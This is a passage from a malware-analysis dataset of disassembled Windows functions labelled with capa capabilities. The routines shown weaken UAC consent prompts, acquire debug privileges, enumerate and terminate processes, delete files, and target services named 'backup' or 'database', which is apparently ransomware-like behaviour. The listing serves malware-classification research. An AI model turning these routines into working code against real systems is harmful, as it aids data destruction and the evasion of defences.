joyce8/EMBER2024-capa huggingface dataset:
Function at 0x471960
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesDataCollection
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4719bf
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.AllowTelemetry
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret

Function at 0x4719d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 1
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlFileSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x471a2f
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.LongPathsEnabled
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret

Function at 0x471a40
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x10010
push str.ConsentPromptBehaviorAdmin
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x471a8b
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x471ada
cmp eax, 5
je 0x471ada
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 5
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x471ada
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
Function at 0x471af0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 8
lea edx, [ebp - 8]
push ebx
push esi
push 0
push edx
push 0
push 0x20106
push 0
push 0
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test esi, esi
jne 0x471b50
cmp dword [ebp + 0x34], 8
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
mov edx, dword [ebp + 0x1c]
sete bl
cmp edx, 8
jb 0x471b89
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x471b7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x471be5
push edx
push ecx
call fcn.00537216
add esp, 8
mov edx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp edx, 8
jb 0x471bd3
mov ecx, dword [ebp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x471bc9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x471be5
push edx
push ecx
call fcn.00537216
add esp, 8
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call fcn.00552cb1
int3
Function at 0x472340
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x10]
push eax
push 0x5e75cc
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x472384
xor esi, esi
jmp 0x4723c6
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
neg eax
mov dword [ebp - 0x20], 1
push 0
sbb eax, eax
push 0
and eax, 2
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
neg esi
sbb esi, esi
inc esi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4723d4
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00536fd5
mov esp, ebp
pop ebp
ret 8

Function at 0x472420
Capabilities:
Delete file
Set file attributes

Disassembly:
cmp dword [ecx + 0x18], 8
push esi
lea esi, [ecx + 4]
mov eax, esi
jb 0x47242e
mov eax, dword [esi]
push 0x80
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [esi + 0x14], 8
jb 0x472445
mov esi, dword [esi]
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop esi
ret
Function at 0x473410
Capabilities:
Check os version
Delete directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57cea8
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword fs:[0x2c]
mov edx, dword [eax]
mov eax, dword [0x5ffb84]
cmp eax, dword [edx + 4]
jle 0x4734b3
push 0x5ffb84
call fcn.0053766d
add esp, 4
cmp dword [0x5ffb84], 0xffffffff
jne 0x4734b3
push 0x110
lea eax, [ebp - 0x138]
mov dword [ebp - 0x13c], 0x114
push 0
push eax
call fcn.0054f070
add esp, 0xc
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x138], 6
push 0x5ffb84
sbb eax, eax
neg eax
mov dword [0x5ffb78], eax
call fcn.00537623
add esp, 4
cmp dword [esi + 0x18], 8
lea edx, [esi + 4]
jb 0x4734be
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4734d7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044b750
mov dword [ebp - 4], 0
cmp dword [0x5ffb78], 0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
je 0x473579
test ecx, ecx
je 0x4735c8
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, esi
cmp word [eax + ecx*2 - 2], 0x2e
jne 0x473579
cmp ecx, edx
jae 0x47353e
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
cmovae eax, esi
mov dword [eax + ecx*2], 0x2e
jmp 0x473556
push 0x2e
mov byte [ebp - 0x140], 0
push dword [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x28]
call fcn.0044d240
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
cmp ecx, edx
jae 0x4735aa
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
mov dword [eax + ecx*2], 0x5c
jmp 0x4735c2
test ecx, ecx
je 0x4735c8
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, esi
cmp word [eax + ecx*2 - 2], 0x5c
je 0x4735c8
cmp ecx, edx
jae 0x4735aa
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
cmovae eax, esi
mov dword [eax + ecx*2], 0x5c
jmp 0x4735c2
push 0x5c
mov byte [ebp - 0x140], 0
push dword [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x28]
call fcn.0044d240
mov esi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
cmp edx, 8
lea eax, [ebp - 0x28]
push 0x80
cmovae eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edx, dword [ebp - 0x14]
mov esi, eax
cmp edx, 8
jb 0x473627
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47361d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x473643
push edx
push ecx
call fcn.00537216
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call fcn.00552cb1
int3
Function at 0x473890
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57cf7b
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ecx, dword [0x5e769c]
mov ebx, eax
mov dword [ebp - 0x18], ecx
mov cx, word [0x5e76a0]
mov dword [ebp - 0x224], ebx
mov word [ebp - 0x14], cx
test ebx, ebx
je 0x473a83
nop dword [eax + eax]
mov edi, ebx
test bl, 1
je 0x473a6e
push 0x208
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.0054f070
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x104
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x473a6e
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 4
jne 0x4739a0
lea eax, [ebp - 0x220]
mov dl, 3
movzx ecx, word [eax]
cmp ecx, 0x5c
jne 0x473953
add dl, 0xff
je 0x47395d
add eax, 2
test cx, cx
jne 0x473946
jmp 0x4739a0
mov ebx, eax
lea ecx, [ebp - 0x220]
sub ebx, ecx
sar ebx, 1
nop dword [eax]
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x473981
cmp ecx, 0x5c
jne 0x473970
movzx edx, word [eax + 2]
lea eax, [eax + 2]
inc bl
movzx ecx, bl
mov word [ebp + ecx*2 - 0x220], dx
test dx, dx
jne 0x473981
mov ebx, dword [ebp - 0x224]
xor eax, eax
mov dword [ebp - 0x22c], 0
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x228], 7
mov word [ebp - 0x23c], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4739c6
sub ecx, edx
lea eax, [ebp - 0x220]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x23c]
call fcn.0044b750
lea eax, [ebp - 0x23c]
mov dword [ebp - 4], 0
push eax
mov ecx, 0x5ffb7c
call fcn.00468060
lea ecx, [ebp - 0x18]
mov edx, eax
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x473a10
sub ecx, esi
lea eax, [ebp - 0x18]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0044b750
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x228]
cmp edx, 8
jb 0x473a6e
mov ecx, dword [ebp - 0x23c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x473a64
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x473a9f
push edx
push ecx
call fcn.00537216
add esp, 8
inc word [ebp - 0x18]
shr ebx, 1
mov dword [ebp - 0x224], ebx
cmp edi, 2
jae 0x4738f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call fcn.00552cb1
int3
Function at 0x473ab0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57cfbc
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x5ffb74]
cmp eax, dword [ecx + 4]
jle 0x473b50
push 0x5ffb74
call fcn.0053766d
add esp, 4
cmp dword [0x5ffb74], 0xffffffff
jne 0x473b50
mov dword [ebp - 4], 0
mov dword [0x5ffb7c], 0
mov dword [0x5ffb80], 0
call fcn.00469a40
push 0x580120
mov dword [0x5ffb7c], eax
call fcn.005374af
add esp, 4
mov dword [ebp - 4], 0xffffffff
push 0x5ffb74
call fcn.00537623
add esp, 4
cmp dword [0x5ffb80], 0
jne 0x473b5e
call fcn.00473890
cmp dword [edi + 0x10], 0
lea esi, [edi + 0x10]
je 0x473bd6
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x473b71
mov eax, dword [edi]
push 0xb
push str.SystemRoot
push eax
call fcn.0055ef32
add esp, 0xc
test eax, eax
jne 0x473be0
push 0x208
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.0054f070
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x473bb5
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
push 0xb
push ecx
mov ecx, edi
call fcn.004787b0
mov eax, 1
jmp 0x473cac
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x473bea
mov eax, dword [edi]
push 4
push 0x5e76bc
push eax
call fcn.0055ef32
add esp, 0xc
test eax, eax
jne 0x473c32
mov eax, dword [esi]
mov ecx, 4
cmp eax, ecx
cmovb ecx, eax
cmp dword [edi + 0x14], 8
jb 0x473c12
mov edi, dword [edi]
sub eax, ecx
mov dword [esi], eax
lea eax, [eax*2 + 2]
push eax
lea eax, [edi + ecx*2]
push eax
push edi
call fcn.0054f1d0
add esp, 0xc
mov eax, 1
jmp 0x473cac
mov eax, dword [0x5ffb7c]
mov esi, dword [eax]
cmp esi, eax
je 0x473caa
nop dword [eax]
cmp dword [esi + 0x24], 8
lea eax, [esi + 0x10]
jb 0x473c4b
mov eax, dword [eax]
cmp dword [edi + 0x14], 8
mov ecx, edi
jb 0x473c55
mov ecx, dword [edi]
push dword [esi + 0x20]
push eax
push ecx
call fcn.0055ef32
add esp, 0xc
test eax, eax
je 0x473cc7
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x473c8c
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x473c88
cmp esi, dword [eax + 8]
jne 0x473c88
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x473c78
mov esi, eax
jmp 0x473ca2
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x473ca2
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x473c96
cmp esi, dword [0x5ffb7c]
jne 0x473c40
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x20]
add esi, 0x28
cmp dword [esi + 0x14], 8
mov ecx, dword [esi + 0x10]
jb 0x473cd8
mov esi, dword [esi]
push ecx
push esi
push eax
push ecx
mov ecx, edi
call fcn.004787b0
mov eax, 1
jmp 0x473cac
Function at 0x475ea0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call fcn.004785a0
push 0
push 2
mov dword [ebp - 0x270], str.spoolsv.exe
mov dword [ebp - 0x26c], str.sihost.exe
mov dword [ebp - 0x268], str.fontdrvhost.exe
mov dword [ebp - 0x264], str.cmd.exe
mov dword [ebp - 0x260], str.dwm.exe
mov dword [ebp - 0x25c], str.LogonUI.exe
mov dword [ebp - 0x258], str.lsass.exe
mov dword [ebp - 0x254], str.csrss.exe
mov dword [ebp - 0x250], str.smss.exe
mov dword [ebp - 0x24c], str.winlogon.exe
mov dword [ebp - 0x248], str.services.exe
mov dword [ebp - 0x244], str.conhost.exe
mov dword [ebp - 0x240], str.everything.exe
mov dword [ebp - 0x23c], 0x5ff3d8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x238], ebx
test ebx, ebx
je 0x476020
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x476019
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push esi
nop word [eax + eax]
xor esi, esi
push dword [ebp + esi*4 - 0x270]
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
je 0x475fae
inc esi
cmp esi, 0xe
jl 0x475f92
jmp 0x476001
push 4
call fcn.005371e6
mov ecx, dword [ebp - 0x228]
add esp, 4
mov dword [ebp - 0x234], eax
mov dword [eax], ecx
lea eax, [ebp - 0x234]
mov esi, dword [0x5ff9a8]
push eax
mov ebx, dword [esi + 4]
push ebx
push esi
call fcn.0045d040
mov edx, dword [0x5ff9ac]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x47602f
inc edx
mov dword [0x5ff9ac], edx
mov dword [esi + 4], eax
mov dword [ebx], eax
mov ebx, dword [ebp - 0x238]
lea eax, [ebp - 0x230]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x475f90
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.0053442e
int3
Function at 0x4760a0
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.005379c0
mov eax, dword [0x5f6ea4]
xor eax, esp
mov dword [esp + 0x1068], eax
push ebx
push esi
push edi
mov word [esp + 0x12], dx
lea eax, [esp + 0x870]
mov edi, ecx
mov esi, 0x800
mov byte [eax], 0
lea eax, [eax + 1]
sub esi, 1
jne 0x4760d4
mov ecx, 0x800
lea eax, [esp + 0x70]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4760f0
mov ecx, 0x44
lea eax, [esp + 0x28]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x476104
mov ecx, 0x10
lea eax, [esp + 0x14]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x476120
push edi
lea eax, [esp + 0x874]
mov word [esp + 0x5c], dx
push eax
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x24]
xor bl, bl
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
je 0x47619a
push dword [esi]
lea eax, [esp + 0x74]
push 0x400
push eax
call fcn.0055a846
add esp, 0xc
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp word [esp + 0x70], 0
mov eax, 1
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [esp + 0x14]
xor ecx, ecx
push eax
lea eax, [esp + 0x2c]
test bl, bl
push eax
lea eax, [esp + 0x78]
cmove eax, ecx
push eax
push ecx
xor eax, eax
mov ecx, 0x8000000
cmp word [esp + 0x22], ax
cmove eax, ecx
push eax
push 0
push 0
push 0
lea eax, [esp + 0x890]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, dword [esp + 0x1c]
test eax, eax
je 0x476231
push edi
lea eax, [esp + 0x874]
push eax
push str.___Success_run:__s__pid:_i_
call fcn.0046b580
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x476208
push dword [ebp + 0xc]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x14]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1068]
xor ecx, esp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x874]
push eax
push str.___Failed_to_run:__s__Code__lu.
call fcn.0046b580
mov ecx, dword [esp + 0x1080]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
Function at 0x477b90
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or eax, dword [ebp + 0xc]
je 0x477cb4
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x268], esi
test esi, esi
je 0x477cb3
push ebx
lea eax, [ebp - 0x264]
mov dword [ebp - 0x264], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x477caf
push edi
push dword [ebp - 0x25c]
push 0
push 0x100411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x477c98
push 0x2c
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x477c95
xor eax, eax
cmp eax, dword [ebp + 0xc]
jb 0x477c95
ja 0x477c31
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x2c], eax
jbe 0x477c95
push dword [ebp - 0x25c]
mov dword [ebp - 8], 1
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x477c6c
mov eax, dword [0x5fdbcc]
test eax, eax
je 0x477c69
lea ecx, [ebp - 0xc]
push ecx
push 4
lea ecx, [ebp - 8]
push ecx
push 0x1d
push esi
call eax
push esi
call ebx
cmp dword [ebp - 8], 0
jne 0x477c8f
lea eax, [ebp - 0x240]
push eax
push str.___Process__high_RAM_:__s
call fcn.0046b580
add esp, 8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, dword [ebp - 0x268]
push edi
call ebx
lea eax, [ebp - 0x264]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x477bf2
pop edi
push esi
call ebx
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
Function at 0x478070
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57d458
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
push 0xf003f
push 0
push 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
je 0x478276
mov edi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 3
push 0x30
push ebx
call edi
test eax, eax
jne 0x47826f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x47826f
mov esi, dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0x14]
push eax
push 3
push 0x30
push ebx
call edi
test eax, eax
mov eax, dword [ebp - 0x20]
je 0x47825f
mov esi, eax
test eax, eax
je 0x47825f
xor ebx, ebx
cmp dword [ebp - 0x18], ebx
jbe 0x47825c
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
nop dword [eax + eax]
push 0x5e84b4
push dword [esi]
call edi
test eax, eax
jne 0x4781b5
push str.backup
push dword [esi]
call edi
test eax, eax
jne 0x4781b5
push str.database
push dword [esi]
call edi
test eax, eax
jne 0x4781b5
push 0x5e84b4
push dword [esi + 4]
call edi
test eax, eax
jne 0x4781b5
push str.backup
push dword [esi + 4]
call edi
test eax, eax
jne 0x4781b5
push str.database
push dword [esi + 4]
call edi
test eax, eax
je 0x47824c
mov edx, dword [esi]
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, edx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
lea ecx, [eax + 2]
mov dword [ebp - 0x28], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4781d3
sub eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x44]
sar eax, 1
push eax
push edx
call fcn.0044b750
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 4], 0
call fcn.0045b120
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x47823d
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x478233
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x478292
push edx
push ecx
call fcn.00537216
add esp, 8
push dword [esi]
push str.___Added_service:__s
call fcn.0046b580
add esp, 8
inc ebx
add esi, 0x24
cmp ebx, dword [ebp - 0x18]
jb 0x478160
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
